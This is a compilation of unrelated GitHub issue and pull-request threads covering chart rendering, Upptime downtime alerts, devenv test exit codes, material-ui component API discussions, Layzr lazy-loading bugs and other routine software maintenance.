Code pen: https://codepen.io/jcsmorais/pen/pLQPwR

Screenshots:

Summary:

As you can see in my example screenshots if you have a long category its text ends up being cut off depending on screen width. If I understood the documentation correctly one could set the x.axis.height according the the longest category text in the chart, but my problem is a little different since these categories are generated dynamically, so I have less control over the length they have other than they're between 1-255 chars.
That said, I'm wondering if there's any other option that would:

increase the chart height dynamically depending on the longest category text
ellipsify the text according to the max height of the chart element
do something else that would make the chart look less broken? :)

While searching for similar issues I found this one that might be related to what I'm asking here as well.

@masayuki0812 any idea on this one please?

For future reference this has been addressed by #2364 and is now available on version 0.6.1
/cc @kt3k


text:
Provide a method to change the progress bar delay

Why nprogress doesn't have something like this?
turbolinks/turbolinks#124
and this:
turbolinks/turbolinks-classic#604
and this:
turbolinks/turbolinks-classic#608

Because it's not in the nprogress API: http://ricostacruz.com/nprogress/

It's not a valid reason. Gen can have something similar to turbolinks feature. I opened the same issue/request to nprogress repo. Please do not close it. Assign a "request" label. It's an important feature.


text:
Deregister service via PUT and not GET

https://github.com/cablehead/python-consul/blob/596cdce737b18e017005d1c3132131751059cc41/consul/base.py#L889-L890
I believe that should be http.put, right?
See https://www.consul.io/api/agent/service.html#deregister-service

See https://github.com/cablehead/python-consul/pull/174

authors: Kentzo schiermike

repo: cablehead/python-consul


text:
🛑 CBTB Coffee House Shop is down

In 9e9c045, CBTB Coffee House Shop (https://shop.cbtb.coffee/) was down:

HTTP code: 403
Response time: 1145 ms

Resolved: CBTB Coffee House Shop is back up in 6aea3af.

repo: cachetech/service-status


text:
🛑 CBTB Coffee House Shop is down

In 30a3001, CBTB Coffee House Shop (https://shop.cbtb.coffee/) was down:

HTTP code: 403
Response time: 1182 ms

Resolved: CBTB Coffee House Shop is back up in e009fd8.


text:
🛑 CBTB Coffee House Shop is down

In 44e10fe, CBTB Coffee House Shop (https://shop.cbtb.coffee/) was down:

HTTP code: 403
Response time: 1172 ms

Resolved: CBTB Coffee House Shop is back up in c6ca04c.


text:
🛑 CBTB Coffee House Shop is down

In 01fff6f, CBTB Coffee House Shop (https://shop.cbtb.coffee/) was down:

HTTP code: 403
Response time: 1258 ms

Resolved: CBTB Coffee House Shop is back up in ae0f1a3.


text:
🛑 CBTB Coffee House Shop is down

In f8baa4c, CBTB Coffee House Shop (https://shop.cbtb.coffee/) was down:

HTTP code: 403
Response time: 1128 ms

Resolved: CBTB Coffee House Shop is back up in 2743105 after 12 minutes.


text:
🛑 CBTB Coffee House Shop is down

In a7afd81, CBTB Coffee House Shop (https://shop.cbtb.coffee/) was down:

HTTP code: 403
Response time: 1006 ms

Resolved: CBTB Coffee House Shop is back up in 38750fe after 12 minutes.


text:
devenv test reporting success even when errors and failures occur

Describe the bug
When running devenv test, failures and errors can get swallowed resulting in devenv test reporting that "Tests passed".

To reproduce
This gist, https://gist.github.com/kourtni/7ee2749b0bb75253e0d29d2deab1b4fb, is a complete example that reproduces the issue. I expect that running devenv test from that environment should fail, however it currently passes.
Version
devenv 1.0.5 (x86_64-linux)

Could you also attach the python files so I can reproduce the failure?

Hi,
The issue is that devenv test swallows errors and test failures if enterTest ends with a command that exits normally.
The screenshot is from tests run in a private repo, so I can't share those files. But as I indicated in the Gist, https://gist.github.com/kourtni/7ee2749b0bb75253e0d29d2deab1b4fb, this behavior is completely reproducible without actually requiring any python files. In fact the point of that Gist is to show that the test passes even without ANY of the required packages installed or source files available. I am able to reproduce the issue with only the devenv.nix and devenv.yaml files included in the Gist, and then simply running devenv test.
But if you absolutely want to include a dummy test for some reason, you could create a file with a simple test where you assert 1 == 2 or something that will obviously fail.
As long as the final command in enterTest is an echo or some other command guaranteed to succeed, then any failures that occurred prior will be swallowed and the devenv test will complete in a Tests passed state.

@kourtni, the issue isn't the echo, it's the &&.
We set the shell to exit early on errors with set -e, but this flag does not apply in a few situations. When using &&, only the last command affects the failure of the script. When the first poetry command fails, set -e is ignored and the second command is never run because the first failed. One solution is to not use && and place the second poetry command on the next line.
Bash is not a great environment for testing because of this. Perhaps there are testing tools out there to fix this.

OK, thanks for those details @sandydoo!
Perhaps it makes sense to add that caveat to the devenv test documentation, so that people aren't scratching their heads like I was.

I find a similar issue; pre-commit hooks (run with devenv test) exit with code 0 even if the hooks themselves exit with failure.
The issue seems related to the original one in this report hence commenting here.
Is this expected?

Fixed in https://github.com/cachix/devenv/pull/1510

authors: domenkozar joeapearson kourtni sandydoo

repo: cachix/devenv


text:
Add support for && and || operators

#230

@0x471, any update?


text:
Error message when running app grabber

Describe the bug
A clear and concise description of what the bug is.
Steps to reproduce

installed
run welcome tutorial to the last step
opened app grabber via menu and closed it
finished tutorial opening app grabber

Expected behavior
No error message or crash
System information:

Windows version: Microsoft Hyper-V Server 2012 R2
Cairo version: 0.3.7174.0
64-bit
In Cairo Settings > Advanced, is Cairo set as shell?: no

Additional context
Add any other context about the problem here.
Screenshots
If applicable, add screenshots to help explain your problem.

I think I have a fix for this but am having trouble testing it, as I can't seem to get WPF apps to run on this OS. Did you have to install certain packages other than .NET?

I think I have a fix for this but am having trouble testing it, as I can't seem to get WPF apps to run on this OS. Did you have to install certain packages other than .NET?

This is fixed in the latest release.

repo: cairoshell/cairoshell


text:
Recommended changes resulting from automated audit

We performed an automated audit of your Cake addin and found that it does not follow all the best practices.
We encourage you to make the following modifications:

[ ] You are currently referencing Cake.Core 0.26.0. Please upgrade to 0.28.0
[ ] The Cake.Core reference should be private. Specifically, your addin's .csproj should have a line similar to this: <PackageReference Include="Cake.Core" Version="0.28.0" PrivateAssets="All" />
[ ] Your addin should target netstandard2.0. Please note that there is no need to multi-target, netstandard2.0 is sufficient.
[ ] The nuget package for your addin should use the cake-contrib icon. Specifically, your addin's .csproj should have a line like this: <PackageIconUrl>https://cdn.rawgit.com/cake-contrib/graphics/a5cf0f881c390650144b2243ae551d5b9f836196/png/cake-contrib-medium.png</PackageIconUrl>.

Apologies if this is already being worked on, or if there are existing open issues, this issue was created based on what is currently published for this package on NuGet.org and in the project on github.

Addressed in the PR #21

authors: Jericho joaoasrosa

repo: cake-contrib/cake-ndepend


text:
🛑 XMR Asia Servers is down

In ce29153, XMR Asia Servers ($XMR_ASIA) was down:

HTTP code: 0
Response time: 0 ms

Resolved: XMR Asia Servers is back up in 4c1615e after 5 minutes.

repo: cake-tech/upptime-cakewallet


text:
🛑 XMR Asia Servers is down

In 2292a0b, XMR Asia Servers ($XMR_ASIA) was down:

HTTP code: 0
Response time: 0 ms

Resolved: XMR Asia Servers is back up in dcf37f5 after 7 minutes.


text:
🛑 XMR USA Servers is down

In d90aad6, XMR USA Servers ($XMR_USA) was down:

HTTP code: 0
Response time: 0 ms

Resolved: XMR USA Servers is back up in 19b24c9 after 5 minutes.


text:
🛑 monero.com is down

In 41a7ad4, monero.com (https://monero.com) was down:

HTTP code: 0
Response time: 0 ms

Resolved: monero.com is back up in cb047e4 after 6 minutes.


text:
🛑 xmr-node.cakewallet.com:18081 is down

In 6fba507, xmr-node.cakewallet.com:18081 (xmr-node.cakewallet.com) was down:

HTTP code: 0
Response time: 0 ms

Resolved: xmr-node.cakewallet.com:18081 is back up in a28b8a7 after 8 minutes.


text:
🛑 node.sethforprivacy.com:18089 is down

In 4f25256, node.sethforprivacy.com:18089 (node.sethforprivacy.com) was down:

HTTP code: 0
Response time: 0 ms

Resolved: node.sethforprivacy.com:18089 is back up in 76b96eb.

repo: cake-tech/upptime-monerocom


text:
Github #1571: Added return to hasDatabase method on AdapterWrapper

I've noticed that method public function hasDatabase($name) of AdapterWrapper has no return. So i've added it.

Updated PR comment

Can somebody review this, please?

Thanks!

repo: cakephp/phinx


text:
replace location with selections

This PR should be run in the climakitae branch mapview. That branch combines app.selections and app.location, such that it's just app.selections now, which contains both data and location information. I had to modify notebooks that worked directly with app.location to function with this new update.
Perhaps we can tag team the review of this PR since it requires looking over so many notebooks (i.e. one person looks over 1-2 notebooks each?)

Okay, I think (fingers crossed) that everything should be working now, provided it's run in the climakitae branch mapview

Update May 2: Beth reviewed localization.ipynb and confirmed it runs as expected.

Update:

INTRO works great now
Localization works great now
Warming levels works great now (there is a warning at the final figure, but I believe that is resolved with a newer image/switch in the code that I had done previously that we had to roll back for the older image)

Issues:
Station_8760s (in mapview branch):
---------------------------------------------------------------------------
AttributeError                            Traceback (most recent call last)
/tmp/ipykernel_1197/2321414481.py in <module>
----> 1 median_year = data.squeeze().map(get_median_8760)

/srv/conda/envs/notebook/lib/python3.9/site-packages/xarray/core/common.py in __getattr__(self, name)
    237                 with suppress(KeyError):
    238                     return source[name]
--> 239         raise AttributeError(
    240             "{!r} object has no attribute {!r}".format(type(self).__name__, name)
    241         )

AttributeError: 'DataArray' object has no attribute 'map'

authors: nicolejkeeney vicford

repo: cal-adapt/cae-notebooks


text:
Membership on the homepage

Content on Join or renew is the same as Why join CALA

Links on each tab card are not functioning


text:
Documentation tweak

At the beginning of the readme, the example parent class doesn't use the HasChildren trait, it's only when you get to the Type Aliases section that it becomes apparent.
It's confusing for a few minutes when you first get started with this package. Otherwise, love it!

You can always help contribute man! Cheer!

authors: GTHell mralston

repo: calebporzio/parental


text:
🛑 calgo-lab.de is down

In 2e1abfb, calgo-lab.de (https://calgo-lab.de) was down:

HTTP code: 0
Response time: 0 ms

Resolved: calgo-lab.de is back up in e57332a after 9 minutes.

repo: calgo-lab/uptime


text:
intcomma throws a type error

the use of intcomma in reporting records written is throwing a TypeError. Since it is just a pretty-print type call I suggest removing it.

I agree it's only cosmetic, but I'm curious what is causing the bug. Shouldn't count always return an easy to convert integer? There must be something obvious I'm missing.

Yeah, it does. I think it is an internationalization issue in intcomma - when I tried just intcomma() in my shell I got the same error

authors: ckirby palewire


text:
Popover: prop type anchorOrigin is invalid

On the initial load without showing the popover, the PropType validation is causing anchorOrigin and targetOrigin props to throw warnings.

here is my state:
this.state = {
            anchorOrigin: {horizontal:"left", vertical:"center"},
            targetOrigin: {horizontal:"left", vertical:"top"},
};

Here is how I am using the popover:
<Popover open={this.state.extensionsPopover === 'pop'}
                            anchorEl={this.state.anchorEl}
                            anchorOrigin={this.state.anchorOrigin}
                            targetOrigin={this.state.targetOrigin}
                            onRequestClose={this.closePopover.bind(this, 'pop')} >

Here is an arbitrary popover

Hi - here is some content

                                <RaisedButton primary={true} label="Here is a button"/>

</Popover>

It's expecting a function not an object. Maybe try wrapping it in a function:
anchorOrigin={() => {return this.state.anchorOrigin}}
targetOrigin ={() => {return this.state.targetOrigin}}

That seems inconsistent with the Docs: http://material-ui.com/#/components/popover
Or am I missing something....

I would say that it's an issue on your side since the example on the documentation works fine.

Thanks for your feedback guys. I am reviewing what I am doing and all I am doing is passing an object {horizontal:"left", vertical:"center"} to the anchorOrigin property.
I am confused and maybe you can give me some clarity before I continue spinning my wheels.
@anthony-dandrea is saying anchorOrigin prop should receive a function.
Now when I refer to the docs and follow the flow of data,the docs suggest anchorObject is passed in as an object to the anchorOrigin prop, not a function that returns an object.
From the docs
<RadioButton onClick={this.setAnchor.bind(this, 'horizontal', 'left')} label="Left" checked={this.state.anchorOrigin.horizontal === "left"} />
Notice this.state.anchorOrigin.horizontal is being used like an object.
Now the following sets the key/values of the anchorOrigin object from state.
setAnchor(positionElement, position, e) {
  let {anchorOrigin} = this.state;
  anchorOrigin[positionElement] = position;

  this.setState({
      anchorOrigin:anchorOrigin,
  });
},

Now in the next example from the docs, you will notice we are passing the anchorOrigin object from above into the anchorOrigin prop.
<Popover open={this.state.activePopover === 'pop'}
  anchorEl={this.state.anchorEl}
  anchorOrigin={this.state.anchorOrigin}
  targetOrigin={this.state.targetOrigin}
  onRequestClose={this.closePopover.bind(this, 'pop')} >

Here is an arbitrary popover

Hi - here is some content

    <RaisedButton primary={true} label="Here is a button"/>

</Popover>

So which is it, an object or a function?
I will keep digging into what is happening to see if I can pinpoint the discrepancy on either end.

Hi, anchorOrigin is an object.  The example code is more complex than necessary, as it deals with a configurable position.
<Popover open={this.state.activePopover === 'pop'}
  anchorEl={this.state.anchorEl}
  anchorOrigin: {{horizontal:"left", vertical:"center"}},
  targetOrigin: {{horizontal:"left", vertical:"top"}},
  onRequestClose={this.closePopover.bind(this, 'pop')} >

Here is an arbitrary popover

Hi - here is some content

    <RaisedButton primary={true} label="Here is a button"/>

</Popover>

This should work just fine.

@matsilva Any update on this?

Hey not quite sorry. Caught up with current startup life. Let me see if I can test this out again later tonight to verify.

Just tested outside the scope of my app with a clean install. Works fine.

Awesome, thanks.

authors: anthony-dandrea chrismcv matsilva oliviertassinari

repo: callemall/material-ui


text:
[Popover] Does not propagate transitionDuration prop to [Grow]

Hey guys, the line in question:
https://github.com/callemall/material-ui/blob/v1-beta/src/Popover/Popover.js#L364
On the lower end mobile devices Grow transition doesn't work smooth enough so I tend to dynamically disable transitions on all mobile devices but it no longer works since the last couple of version I think. I'm not sure whether it is intentionally. Please advise.

This property was left behind by mistake. You are right, we should provide it to the Grow component.

Do you want a PR?

@nvma This would be great 👍 .

authors: nvma oliviertassinari


text:
[Dialog] disambiguation of types to match the spec

a.k.a  alert vs confirmation vs simple
This is an early look at what I'm thinking for more concrete types that match the material ui spec dialogs.  While you can use Dialog as-is with props, I think it makes sense to expose named components with behavior that matches the spec.
What do you think?
(Branched from and depends on #6898.  I didn't think about it but all those changes are currently showing too which makes the diff harder.  I'm guessing the diff will shrink with merge of #6898)
Changes

width specified in Dialog is too prescriptive for general use.  The SimpleDialog demo was rendering very wide
Added Alert and Confirmation
Updated demos
Added "Simple Dialog" section and demo

Todo/Problems/Questions

Docs don't generate for Alert and Confirmation.  Is this style of declaration desirable or something else.  If desirable, I can look at fixing doc gen.
Naming - as discussed on gitter - I'd like to do the dialog rename in this.  Do you or don't you support shorter names for ?

[ ] PR has tests / docs demo, and is linted.
[x] Commit and PR titles begin with [ComponentName], and are in imperative form: "[Component] Fix leaky abstraction".
[x] Description explains the issue / use-case resolved, and auto-closes the related issue(s) (http://tr.im/vFqem).

I think it makes sense to expose named components with behavior that matches the spec

My only concern would be with consistency. We decided to expose a single Button component on the next branch over a RaisedButton, FlatButton and FloatingActionButton components. We are going in the opposite direction here. Why not exposing a property to control the behaviour. Isn't that simpler?

Docs don't generate for Alert and Confirmation. Is this style of declaration desirable or something else. If desirable, I can look at fixing doc gen.

Oh boy, that's because of the factory function. We would have to duplicate all the propTypes as we did with the Checkbox, Radio and Switch. Well, I'm against that change now. It's definitely introducing complexity. If we want to get away, I think that we would have a way to document extends of properties in the documentation. For instance, Grommet is doing it:

Options for Box are also available.

https://grommet.github.io/docs/header

Naming - as discussed on gitter - I'd like to do the dialog rename in this. Do you or don't you support shorter names for ?

I'm refactoring all the codebase to use withStyles(). Let's try to avoid conflict. If we do it, we should do it for all the components, don't want to be in an inconsistent state indefinitely.

My only concern would be with consistency. We decided to expose a single Button component on the next branch over a RaisedButton, FlatButton and FloatingActionButton components. We are going in the opposite direction here. Why not exposing a property to control the behaviour. Isn't that simpler?

Yes, I do think this is the opposite direction of Button, but I would challenge that this is a more concrete exposure of named specification components.  I wouldn't argue against removing Button as an exposed component, but I would say that I for one looked wrote import {Fab} from 'material-ui/Button' only to find it missing.  The current ` isn't objectionable per se, but my first instinct was to look for a named component.
With Alert and Confirmation having prescribed spec behavior (and perhaps even slightly different visuals like content gutters), are you suggesting that you would rather have <Dialog alert> vs <Alert />, then introduce those modifications in one class instead of decorating it with an HOC?

I don't have a strong opinion on that question. I think that we should be consistent before all. The advantage of <Dialog alert> over <Alert /> is over reducing the number of components for increasing the properties surface. It not necessarily better. Also, I have one concern with <Button raised />. I would rather reduce the degree of freedom with <Button type="raised" />, also makes us more consistent with the <Typography />.

TL;DR. I think that I prefer the following API <Dialog type="alert" />.

I think I strongly prefer brevity, I think that's why I prefer <Button raised /> over <Button type="raised" />, but certainly it could be misused with <Button fab raised flat />.  Then again a fab is raised as well.  I think without using type it is more difficult to harden.  So perhaps it best if we don't use concrete components, that we use type.
I agree that consistency is most important.
I strongly believe that something as prescribed in the spec such as confirmation should not be exposed as <Dialog ignoreBackdropClick ignoreEscapeKeyUp />, because users probably want spec behavior without having to know every detail of the spec.
As-is, Button.js is a bit of a props/css beast, that could be a bit tamer with concrete components or HOCs each dealing with their areas of concern.
I think I'm of the mind that I like:

concrete components
shorter names
simpler implementations

So I'm suggesting a Fab being:
const Fab = () => (
  <Raised {...props} />
)

export default withStyles(stylesheet)(Fab)

Raised being:
const Raised = () => (
  <ButtonBase {...props} />
)

export default withStyles(stylesheet)(Button)

And perhaps accent and contrast moving to ButtonBase.
One last note to contradict myself :).  I had concrete types for Typography in my codebase, and it eventually became a huge pain when I was refactoring some look and feel.  I had to go change imports to change from one to the next.  I'm not sure that is a problem with Dialog or Button, but certainly it is more like to be common with Typography.

I strongly believe that something as prescribed in the spec such as confirmation should not be exposed as <Dialog ignoreBackdropClick ignoreEscapeKeyUp />, because users probably want spec behavior without having to know every detail of the spec.

So what is the problem with <Dialog type="confirmation">?  They don't need to know all the details, they simply identify the type of dialog that they intend on using by specifying the name from the specification (which is currently organized as Components / Dialogs / Confirmation Dialogs)

@kgregory your comment disappeared 😨 .

but certainly it could be misused with

We could have a warning logic for that situation, but I think that it's more elegant when the model prevents it.

I strongly believe that something as prescribed in the spec such as confirmation should not be exposed as , because users probably want spec behavior without having to know every detail of the spec.

Yes, I agree.

And perhaps accent and contrast moving to ButtonBase.

Yes, we could.

I'm not sure that is a problem with Dialog or Button, but certainly it is more like to be common with Typography.

Probably more with the Button that the Dialog.
I would love to get other people point of view @callemall/material-ui. I'm much in favor of <Dialog type="alert" />.
I think that the only blocker regarding implementing <Alert /> (aside from fitting in the global API direction of the project) is having a documentation generation supporting it. I mean, the documentation should automatically say that the Dialog properties are also available.

@oliviertassinari I decided to retract my comment after re-reading what @rosskevin wrote.
I prefer your suggestion of <Dialog type="alert" /> and feel that it compliments the structure of the specification which enumerates the various dialog types in Design Guidelines > Components > Dialogs
A user requiring a specific type of dialog is likely to start with dialog as a concept when reviewing the spec.  Starting them with a dialog component in the implementation should be just as intuitive.

I'm closing this as we don't have a firm consensus.  Personally, I have added Confirmation and Alert to our codebase.

Sounds fair, i would love to get more feedback from our users. No is always temporary in OSS.

authors: kgregory oliviertassinari rosskevin


text:
Threshold not working as expected

The threshold doesn't work equally when scrolling up or down.
Images that are already visible on the page on load don't show until scrolling starts

I'm not sure how you intended people to set the threshold, but I found that if I want the image to load after part of the image is revealed, I have to set a ridiculously high negative integer (ie. -800).
It works great as you scroll down, but if you are scrolling up (which can be achieved by scrolling down then refreshing the page) the image doesn't load until wayyyy later compared to scrolling down.
In addition, I have images that are almost completely visible on page load, yet Layzr doesn't fire for them until I start scrolling.
Ideally:

any images that are already visible on the page (above the fold) should load when the script is initiated
threshold should a) be more clearly defined (what values are we expected to use here?) and should work equally going up or down (ie. if it's 100px delay on the way down, it should only be 100px delay on the way up).

@ndimatteo

please see the options section of the docs detailing threshold. the threshold is a percentage of the viewport height, not a value in px.  that might explain some of the weird behavior you're experiencing. also, _positive numbers make images load sooner (off the screen), a

I've updated the examples to

Thanks @callmecavs,

I totally understand that it's doing it via percentage, but no number I input seems to make a noticeable difference until I start using really high integers. Disregarding my comment about 'pixels,' say I want the image to load when 30% of the image container has scrolled past, what would the integer be for that? I can't seem to figure this out. Or, if I'm phrasing this wrong, can you show me an example of any kind where the image loads a bit late?
Sweet, that makes sense. Thanks!

@ndimatteo upon further review, there was indeed a bug in the threshold calculation (oops). just pushed v2.0.1, which fixes it, and I mentioned you in the release notes.
the code that loads images when they're 30% of the way into the viewport looks as follows:
var instance = Layzr({
  threshold: -30
})

using the newest version, let me know if that works for you. it should now!

Awesome, thanks @callmecavs
Still one issue:
2. I did as you said and placed instance.check() within a .load() and it doesn't do anything. Even calling instance.check() from the console doesn't initiate it.
Here's an example: http://nickdimatteo.co/project/twenty-over-ten

@ndimatteo the problem on that page is that the images have no width/height before they're loaded, so the check function thinks they're offscreen, even though the area the image will eventually fill is on the screen.
add the following to your CSS:
#project .project-wrapper .image > img {
  /* you already have this */
  position: absolute;
  top: 0;
  left: 0;
  right: 0;
  bottom: 0;

  /* add the following */
  width: 100%;
  height: 100%;
}

adding the above, and calling the check function manually, worked on that page for me. great looking site btw, happy to have you using Layzr on it.

@callmecavs Interesting. It's still not working for me after adding that:
It seems like if you go from the homepage into a project, it works great. But if you go directly to a project URL it doesn't update the ones in view: http://nickdimatteo.co/project/twenty-over-ten
And thanks man, much appreciated! Excited to wrap up these last few quirks so I can finish it!

@ndimatteo you're on a roll today man - that's another bug you've found!
the problem was that when the page was first loaded, before the user scrolls, the scroll position was undefined, so all the images were considered "out of the viewport". just pushed v2.0.2, which patches this, setting the initial scroll position to the window.scrollY or window.pageYOffset. this will be 0 if the user hasn't scrolled at all, and will account for refreshing halfway down the page.
update your version to the newest one, and you should be good to go with the code you have currently. thanks again!

@callmecavs haha, thanks for fixing all of these so quickly man. Really stoked, this seems to be all good now!
Check it out now: http://nickdimatteo.co/project/twenty-over-ten

@ndimatteo no problem - I try to be quick on the turnaround with bugs because its likely other people will run into them, and there's no API changes involved in patching them.
looks dope man - the homepage is lookin slick as well! I was based outta DC until I recently moved up to NYC a couple months ago, small world.

@callmecavs thanks man! And that's awesome, definitely a small world. If you're ever back to visit let me know.

@ndimatteo will do brotha. best of luck with the agency.
not sure what you're using to smooth scroll the homepage (when the user clicks 'work') but I made jump.js, and I think it might scroll it smoother :wink:

@callmecavs I'm just using a simple jQuery animate, here's the snippet:
$('html, body').stop().animate({
  scrollTop: $($anchor.attr('href')).offset().top
}, 1000,'easeInOutExpo')

I'm all about making all of this shit smoother, so if you think jump.js will help I'm all ears :grinning:

generally speaking, jquery animate doesn't give the smoothest results, because the function is a bit clunky, given all the possibilities it can handle.
if you want to give Jump.js a try (it's smoother, just tested it by pasting it into the console), the code to replicate what you have would look like this:
// create instance
var jumper = new Jump()

// jump to first project
jumper.jump('.project', { duration: 1000 })

if you want a more powerful and heavily optimized "do it all" animate function, to replace jQuery's, take a look at Velocity.js. its a drop-in replacement that uses much faster stuff under the hood.

Thanks man,
Aside from this animation and a few others, I actually am using TweenMax to do the work! I'm going to give your plugin a try for this one and the "back to top" links though.

:+1:

Whoops, back for one more ;)
I noticed on mobile (iOS) that sometimes images are skipped over. And you end up with something like the following:

If you scroll back up and stop at regular intervals they'll come in, but since most people 'flick' I don't think this is an expected behavior.
Any ideas? If the image is in view it should fire, perhaps we need to refire ontouchend to ensure anything in the viewport is activated?

@ndimatteo unfortunately that's just a limitation caused by how frequently iOS fires the "scroll" event while scrolling. on mobile Chrome, the scroll event doesn't fire at all until you stop, and so you won't see any images at all if you flick. it's not necessarily a bad thing, because if users are scrolling that fast, they likely wont see the image anyways, and so its better to save mobile data and not load it. feel free to experiment with added an ontouchend event that calls check, but I dont think its something ill add to the core of the library

authors: callmecavs ndimatteo


text:
Haul support for other platforms

I'm looking to use haul to add support for other platforms.
Would there be any objection to looking in the project root for the rn-cli.config.js which metro uses to allow a place to specify the platforms.
For example:
rn-cli.config.js
module.exports = {
  getPlatforms: () => ['my-platform'],
}

We could read the file to grab the platforms out as well as add additional modules using haste.
 getProvidesModuleNodeModules: () => ['react-native', 'react-native-my-platform']

This would allow haul to be used in a similar way to metro in supporting other react-native targets without having to push the configuration somewhere directly in haul.
I can send a PR that demonstrates the idea, I have a working version of it already with Haul. The nice thing about this approach is that we wouldn't have to modify haul's source (by forking and adding platforms). Instead all the information can come from the same place that metro expects it. This would make it easier for folks coming from metro who have already extended rn-cli.config.js.
Thoughts?

Cc @zamotany

@rdy Can you make a repository demonstrating this idea??

sure thing, happy to do so. i was just checking to see if the approach seemed sound. i'll put something together.

I sent a PR #388 to demonstrate the idea, I'm happy to make adjustments to make it work. I based it against on the commit right before webpack 4 just because in my test application I can't migrate it over safely.
There are a couple of interesting changes, I had to suppress the duplicate haste module error, and instead I just took the first one, but other than that it is pretty straightforward.
If you want to see a repo that uses the module I send you that but all it needs is a metro style rn-cli.config.json

This PR should provide all that you need to support other platforms.
#419

Yes, now that it is merged I'll give it a try. Thanks!

authors: acoates-ms rdy thymikee zamotany

repo: callstack/haul


text:
Update deps and node modules

This is basically a chore PR to update some deps and remove some. Worth to check though if everything runs smooth as usual and CI passes.

I don't think this will be needed once #672 lands, let's close it.

repo: callstack/react-native-slider


text:
Fixes Issue #16

The current implementation dumps a warning to the console (at least with the latest Reason). This uses a different way to create the link and children.

Note, I still need to test this branch... I have to leave soon but I can link the module locally and make sure it works as is (I pulled it from a custom  module I made for my own app).

repo: callstack/reroute


text:
add ExpandAll and CollapseAll

add ExpandAll and CollapseAll buttons.

@hellomsg
I suggest you switch to @nikrolls fork (https://github.com/nikrolls/json-formatter) and send this PR his way. This project appears to be abandoned, with the last commit being 3 years ago.

authors: ajford hellomsg

repo: callumlocke/json-formatter


text:
panic: index out of range

Got "index out of range", using supplied procera-fields.ini as dict, with build 0.2.6 (for linux amd64).
In the same environment, build 0.2.5 worked fine before the upgrade.
PCAP of traffic will be sent in a PM
"panic: runtime error: index out of range

goroutine 5 [running]:
github.com/calmh/ipfix.interpretBytes(0xc20800c446, 0x0, 0x8f, 0x2, 0x0, 0x0)
    /Users/jb/src/github.com/calmh/ipfix/interpreter.go:168 +0x275
github.com/calmh/ipfix.(*Interpreter).Interpret(0xc208032300, 0x92bc, 0xc208066000, 0x1b, 0x1b, 0x0, 0x0, 0x0)
    /Users/jb/src/github.com/calmh/ipfix/interpreter.go:118 +0x333
main.func·001()
    /Users/jb/src/github.com/calmh/ipfixcat/main.go:56 +0x350
created by main.messagesGenerator
    /Users/jb/src/github.com/calmh/ipfixcat/main.go:67 +0x1dc

goroutine 1 [runnable]:
main.main()
    /Users/jb/src/github.com/calmh/ipfixcat/main.go:106 +0xd3f
2015/05/20 20:11:07 socat[15017] E write(1, 0x1ba70c0, 1308): Broken pipe"

(https://github.com/calmh/ipfix/blob/26d054f2b23620afa63a3014e59f5f9988e0b455/interpreter.go#L168 looks like broken or misinterpreted data...)

Fixed a long while back I think. :)

authors: calmh erikiveroth

repo: calmh/ipfixcat


text:
Update APIbacklog with new format and updated data

What type of PR is this?

cleanup
documentation
subproject management

What this PR does / why we need it:
Backlog table updated, as initiated and agreed in #79 & #80
Changelog:

New HTML format for API Backlog table
New format of columns to simplify and focus content on the interesting data:

API [family] name
API [family] Owner
API [family] proposal Registration date
Link to the filled-in template
Supporters in API Backlog Working Group
API backlog & TSC - Status
Sub Project Link & Active Maintainers
Latest Release & date

Updated links of API templates with new CAMARA structure (backlog as subproject)
Updated links of API repositories
New item for commonalities (including this way all the repos with a release)
Updated latest versions of released APIs, including label for meta-release
Updated item list:

New APIs approved
Pending APIs in backlog, as last items in the table. Will be re-ordered (API proposal date) when approved
New APIs, under review in backlog

Backlog procedure to update table from now on:

New API proposals are included in backlog table when template PR is created, linking to the pending PR
PR will be merged as soon as ready for TSC, and should be merged before TSC review
Link and status in backlog table will be updated accordingly

Pending/Open actions
(@hdamker for your validation and feedback)

Confirm commonalities as item of backlog table
What to do with APIs defined in a subgroup but not included as backlog template, including but not limited to:

QoD profile
Device Status new API structure (roaming and reachability separated)
Subscription APIs
Carrier Billing Refunds
Edge Cloud Endpoint Discovery (and others in Edge Cloud)
Any other that may apply

How to report API repositories status (sandbox, incubation...)

Which issue(s) this PR fixes:

Fixes #4
Special notes for reviewers:
This PR replaces #79 & #80
Please review with extreme care, all links and information have been reviewed several times but due to the amount of changes, some details may be incorrect

Thanks @caubut-charter for the review!
Let's merge it so that we can have a good base of table, and in case any change is required we can include it as another PR. I'll also close #79  and #80

repo: camaraproject/APIBacklog


text:
[BUG] Conflict between"isort" and "yapf" on long import statement

Required prerequisites

[X] I have read the documentation https://camel-ai.github.io/camel/camel.html.
[X] I have searched the Issue Tracker and Discussions that this hasn't already been reported. (+1 or comment there if it has.)
[ ] Consider asking first in a Discussion.

What version of camel are you using?
0.1.0
System information
.
Problem description
On the same code, isort result:
from camel.memories.context_creators.important_based import (
    ImportantBasedContextCreator,
)

yapf result:
from camel.memories.context_creators.important_based import (
    ImportantBasedContextCreator, )

pre-commit check can never pass on this situation.
Reproducible example code
The Python snippets:

Command lines:

Extra dependencies:

Steps to reproduce:

Traceback
No response
Expected behavior
Modify yapf configuration.
Additional context
No response

After moving to ruff this bug is also fixed, thanks @ocss884 !

authors: Wendong-Fan dandansamax

repo: camel-ai/camel


text:
Feat:-Removed harcoding of footer copyright year and made it dynamic

This pr makes the footer copyright year dynamic , i have added a js file for that.

@birm review!


text:
[I broke site...] Integrate summary stats sentences and viz into website

[x] Update the script to export SVGs and/or PNGs

[x] Update the script to export narrative text as JSON for display on the website

[x] have the result spit out a json file

[x] add json file to data/docs folder

[x] create javascript file

[x] insert scroll reveal code into this js file

[ ] integrate js file into index.html

there is a problem with it not being able to load scrollreveal even though i believe I imported it correctly?
also the code I inserted messed with the formatting of the site...

authors: ozterz zstumgoren


text:
added spring-boot-starter-web

Fixes #308

it responds on http://:8080/actuator/health with this change on java 17

@aanodin I merged your PR. Thank you for your contribution. :tada:
However, this community project is marked as deprecated. This means that I don't plan any further releases or contributions.
Can you use the recommended official REST connector instead?

@saig0,
we plan to try the connectors instead, but for now we use this http worker. Nevermind, I already rebuilt it for us.
The new release would be useful for new users, but since nobody noticed this I think there is no any urgency here.

repo: camunda-community-hub/zeebe-http-worker


text:
release 2.2

I fixed a somehow critical bug #26  discovered by @mufasa1976 yesterday which is worth a fix-release.
Release Version: 2.2
New  Dev Version: 2.3-SNAPSHOT
Note: Seems I forgot who is the sponsor for this extension ... @hawky-4s- could you take over or delegate (and add the camunda sponsor to the maintainers list in the README)? Thanks!

Done.

Thanks. I updated the README

repo: camunda/camunda-bpm-mockito


text:
